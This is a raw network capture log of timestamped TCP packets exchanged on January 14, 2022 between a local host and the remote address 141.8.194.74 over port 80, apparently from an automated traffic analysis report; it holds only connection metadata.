Jan 14, 2022 02:05:31.779391050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779414892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779441118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779443026 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779474020 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779488087 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779514074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779536963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779562950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779571056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779608011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779617071 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779647112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779671907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779690981 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779711008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779756069 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779757977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779799938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779833078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779843092 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779866934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779891968 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779917002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779923916 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779941082 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779964924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.779967070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.779990911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780014992 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780016899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780041933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780061007 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780066967 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780092001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780107975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780117989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780147076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780158997 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780173063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780199051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780220032 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780225039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780251026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780265093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780275106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780302048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780316114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780328989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780359030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780381918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780385017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780410051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780436039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780436993 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780462027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780479908 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.780488014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.780539989 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.806082010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806112051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806124926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806143045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806155920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806179047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806191921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806209087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806226969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806245089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.806247950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.806299925 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.809768915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809811115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809844017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809885025 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.809900045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809932947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809962988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.809966087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.809998989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810014963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810031891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810065031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810077906 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810096979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810129881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810141087 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810162067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810192108 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810213089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810225010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810255051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810276985 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810286045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810318947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810332060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810342073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810364962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810386896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810394049 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810408115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810431004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810437918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810452938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810473919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810477018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810496092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810517073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810537100 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810539961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810563087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810575962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810584068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810602903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810606956 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810628891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810651064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810653925 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810673952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810694933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810698986 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810717106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810739040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810740948 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810760975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810784101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810786963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810806990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810828924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810831070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810853958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810873032 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810874939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810898066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810920954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810925961 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810944080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810966969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.810969114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.810990095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811011076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811014891 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811033964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811054945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811057091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811072111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811088085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811103106 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811113119 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811136007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811144114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811156034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811181068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.811193943 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811228991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.811656952 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.853816032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.853882074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.853918076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.853946924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.853954077 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.853980064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.853992939 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854011059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854043961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854067087 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854074955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854105949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854120970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854135990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854168892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854176998 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854201078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854224920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854247093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854249001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854278088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854295015 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854300976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854327917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854341984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854348898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854371071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854391098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854394913 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854410887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854434013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854454994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854458094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854475021 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854475975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854497910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854516983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854521990 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854538918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854559898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854561090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854581118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854600906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854604006 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854620934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854643106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854643106 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854664087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854685068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854685068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854706049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854726076 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854727030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854747057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854765892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854767084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854788065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854805946 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854809999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854831934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854851961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854852915 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854873896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854891062 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854893923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854916096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854937077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.854948044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.854975939 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.879677057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879744053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879795074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879826069 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.879846096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879890919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.879898071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879950047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.879996061 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.880002022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.880052090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.880094051 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.880105019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.880156040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.880201101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.884514093 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884573936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884628057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884627104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.884675026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884726048 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.884726048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884777069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884820938 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.884824991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884877920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884927988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.884928942 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.884977102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885020018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885027885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885077000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885127068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885128975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885178089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885220051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885224104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885267019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885309935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885314941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885359049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885399103 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885405064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885449886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885493040 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885500908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885551929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885601997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885602951 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885652065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885696888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885701895 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885750055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885790110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885798931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885870934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885917902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.885936022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.885987043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886030912 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886037111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886085033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886123896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886136055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886187077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886224031 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886236906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886285067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886334896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886344910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886385918 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886389017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886431932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886435986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886487007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886528969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886537075 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886588097 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886626959 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886632919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886682034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886723995 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886725903 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886775970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886820078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886826992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886876106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886920929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.886926889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.886974096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887013912 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.887022972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887087107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887130022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.887137890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887186050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887231112 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.887238026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887286901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887330055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.887337923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887389898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887437105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.887439966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887489080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.887533903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928329945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928363085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928390980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928415060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928430080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928442955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928457022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928469896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928494930 CET	80	49901	141.8.194.74	192.168.2.3
